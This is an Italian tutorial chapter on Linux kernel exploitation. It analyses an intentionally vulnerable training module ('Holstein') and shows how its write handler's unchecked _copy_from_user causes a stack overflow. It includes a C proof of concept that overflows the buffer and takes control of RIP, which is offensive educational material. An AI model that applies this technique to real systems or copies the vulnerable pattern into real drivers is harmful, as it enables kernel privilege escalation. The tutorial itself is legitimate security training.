Nel capitolo LK01 (Holstein) studieremo le tecniche base del kernel exploit. Se non hai ancora scaricato LK01 durante l’introduzione, parti da qui.

Il filesystem della VM si trova in qemu/rootfs.cpio. In questa guida assumiamo di estrarlo in una directory chiamata mount. (Creala come root.)

Verificare l’inizializzazione

Nel filesystem trovi innanzitutto un file /init, che rappresenta il primo processo eseguito in userland dopo il caricamento del kernel. Nei CTF, proprio qui vengono spesso eseguite operazioni come il caricamento dei moduli del kernel, quindi è sempre importante controllarlo.
Nel nostro caso /init è quello standard di buildroot, mentre il caricamento del modulo avviene in /etc/init.d/S99pawnyable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/sh

##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict

##
## Install driver
##
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0

##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
setsid cttyhack setuidgid 1337 sh

##
## Cleanup
##
umount /proc
poweroff -d 0 -f

Qui ci sono alcune righe particolarmente importanti.
Per prima cosa:

1
echo 2 > /proc/sys/kernel/kptr_restrict

controlla KADR. Come abbiamo già visto, significa che KADR è attivo. Per il debug, però, questa protezione è di intralcio, quindi conviene disattivarla.

Poi troviamo la riga commentata:

1
#echo 1 > /proc/sys/kernel/dmesg_restrict

Nei CTF, questa opzione è spesso attiva. Regola se gli utenti non privilegiati possono leggere dmesg. Qui, trattandosi di un esercizio, dmesg è lasciato accessibile.

Ancora più importante:

1
2
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0

carica il modulo del kernel e crea il device file /dev/holstein.
insmod carica /root/vuln.ko; poi mknod crea un character device associato al modulo registrato col nome holstein.

Infine:

1
setsid cttyhack setuidgid 1337 sh

imposta l’UID a 1337 e avvia una shell. È il motivo per cui all’avvio si ottiene direttamente una shell senza login.

Durante il debug conviene cambiare quell’UID in 0, così da ottenere subito una shell root se non hai già svolto l’esercizio iniziale.

In /etc/init.d troverai anche altri script come S01syslogd o S41dhcpcd, che si occupano per esempio di rete e logging. Per il debug di questo exploit non servono, quindi puoi spostarli altrove o impedire che vengano eseguiti: il boot si velocizzerà di qualche secondo. Lasciare soltanto rcK, rcS e S99pawnyable è sufficiente.

Analisi del modulo Holstein

In questo capitolo useremo un modulo del kernel volutamente vulnerabile chiamato Holstein per imparare i primi attacchi di kernel exploitation. Il sorgente si trova in src/vuln.c, quindi partiamo da lì.

Inizializzazione e cleanup

Ogni modulo del kernel ha una routine di inizializzazione e una di cleanup.
Alla riga 108 trovi:

1
2
module_init(module_initialize);
module_exit(module_cleanup);

cioè la registrazione delle funzioni di setup e teardown. Partiamo dalla funzione di inizializzazione module_initialize.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
printk(KERN_WARNING "Failed to register device\n");
return -EBUSY;
}

cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;

if (cdev_add(&c_dev, dev_id, 1)) {
printk(KERN_WARNING "Failed to add cdev\n");
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}

return 0;
}

Per esporre un’interfaccia verso lo userland, il modulo deve registrare un endpoint. Spesso si passa da /dev o /proc; qui viene usato cdev_add, quindi abbiamo a che fare con un character device in /dev.
Questo, però, non crea automaticamente un file sotto /dev: come abbiamo visto nello script S99pawnyable, /dev/holstein viene creato a mano con mknod.

La chiamata importante è:

1
cdev_init(&c_dev, &module_fops);

Il secondo argomento, module_fops, è una tabella di funzioni. È lì che il modulo definisce quali callback debbano essere eseguite quando si invocano operazioni come open, read, write o close su /dev/holstein.

1
2
3
4
5
6
7
8
static struct file_operations module_fops =
{
.owner = THIS_MODULE,
.read = module_read,
.write = module_write,
.open = module_open,
.release = module_close,
};

Il modulo implementa solo quattro operazioni: open, read, write e close. Tutto il resto rimane non implementato.

La funzione di cleanup è molto semplice:

1
2
3
4
5
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}

Si limita a rimuovere il character device registrato.

open

Vediamo module_open.

1
2
3
4
5
6
7
8
9
10
11
12
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");

g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}

return 0;
}

La funzione printk scrive nel log buffer del kernel. Il prefisso KERN_INFO è solo il livello di log. L’output si può vedere con dmesg.

Poi compare kmalloc, che è l’equivalente kernel di malloc. Alloca memoria dall’heap del kernel. Qui viene allocato un buffer da BUFFER_SIZE (0x400) byte e il puntatore viene salvato nella variabile globale g_buf.

Quindi, ogni open su questo modulo alloca 0x400 byte nell’heap del kernel.

close

Passiamo a module_close.

1
2
3
4
5
6
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}

kfree è la controparte di kmalloc: libera memoria dell’heap del kernel.
Chiude quindi il buffer allocato in open, il che ha senso: quando il file viene chiuso, il buffer non serve più. Anche se il programma userland non chiama esplicitamente close, il kernel lo farà in fase di terminazione del processo.

In realtà, già qui si nasconde una vulnerabilità che può portare a LPE, ma la vedremo in un altro capitolo.

read

module_read viene eseguita quando lo userland invoca read.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };

printk(KERN_INFO "module_read called\n");

memcpy(kbuf, g_buf, BUFFER_SIZE);
if (_copy_to_user(buf, kbuf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}

return count;
}

I dati contenuti in g_buf vengono prima copiati in un buffer su stack chiamato kbuf, e poi _copy_to_user copia nello userland count byte di quel buffer.
Come abbiamo già detto nel capitolo su SMAP, copy_to_user è la funzione sicura per copiare dallo spazio kernel allo userland. Qui, però, viene usata la variante _copy_to_user, cioè la versione che non effettua i controlli di stack overflow. Normalmente non andrebbe usata: qui compare solo per introdurre di proposito una vulnerabilità.

Lupetto

copy_to_user e copy_from_user sono definite come funzioni inline e, quando possibile, eseguono anche controlli sulla dimensione.

In sintesi, read copia prima tutto g_buf nello stack e poi restituisce al chiamante solo i byte richiesti.

write

Infine leggiamo module_write.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };

printk(KERN_INFO "module_write called\n");

if (_copy_from_user(kbuf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
memcpy(g_buf, kbuf, BUFFER_SIZE);

return count;
}

Qui _copy_from_user copia dati dallo userland al buffer su stack kbuf, e poi memcpy trasferisce fino a BUFFER_SIZE byte da kbuf a g_buf.

La vulnerabilità di stack overflow

Ora che abbiamo letto il modulo per intero, quante vulnerabilità hai trovato?
Chi ha già un po’ di pratica col kernel exploitation probabilmente ne avrà individuata almeno una. In questa sezione ci concentreremo sulla seguente porzione, che contiene una vulnerabilità di stack overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };

printk(KERN_INFO "module_write called\n");

if (_copy_from_user(kbuf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
memcpy(g_buf, kbuf, BUFFER_SIZE);

return count;
}

La dimensione count viene dallo userland, mentre kbuf misura solo 0x400 byte. Quindi qui c’è un banalissimo stack buffer overflow.
Anche in kernel space il meccanismo di chiamata delle funzioni è lo stesso dello userland: si può sovrascrivere il return address e arrivare fino a una ROP chain.

Innescare la vulnerabilità

Prima di provare a sfruttarla, conviene scrivere un programmino che usi il modulo in modo normale e verificare che funzioni come previsto. Per esempio:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x100] = {};
write(fd, "Hello, World!", 13);
read(fd, buf, 0x100);

printf("Data: %s\n", buf);

close(fd);
return 0;
}

Il programma scrive "Hello, World!" con write è lo rilegge con read.
Se lo eseguiamo nel kernel di prova:

Uso normale del modulo

vediamo che tutto funziona. Anche i log del modulo non mostrano errori.

Ora proviamo a forzare lo stack overflow con qualcosa di più aggressivo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x800];
memset(buf, 'A', 0x800);
write(fd, buf, 0x800);

close(fd);
return 0;
}

Eseguiamolo:

Comparsa dello stack overflow

Compare subito un messaggio piuttosto minaccioso.
Quando un modulo del kernel fa qualcosa di gravemente sbagliato, nella maggior parte dei casi cade l’intero kernel. In quel momento vengono stampati causa del crash, registri e stack trace: informazioni preziosissime per il debug di un kernel exploit.

In questo caso la causa è:

1
2
BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____))
kernel stack overflow (page fault): 0000 [#1] PREEMPT SMP PTI

ptrval indica un puntatore, ma l’indirizzo vero è nascosto da KADR.
La cosa interessante è il valore di RIP. Non vediamo ancora 0x4141414141414141:

1
RIP: 0010:memset_orig+0x33/0xb0

Come suggerisce anche il messaggio, durante la scrittura via copy_from_user si è toccata la guard page in fondo allo stack. Stiamo semplicemente scrivendo troppo. Proviamo a ridurre la dimensione:

1
write(fd, buf, 0x420);

Questa volta il messaggio cambia:

Controllo di RIP tramite stack overflow

Ora compare una general protection fault e soprattutto RIP è sotto controllo:

1
RIP: 0010:0x4141414141414141

Quindi, anche in kernel space, uno stack overflow permette di prendere RIP esattamente come in userland. Nel capitolo successivo vedremo come trasformare questo risultato in elevazione di privilegi.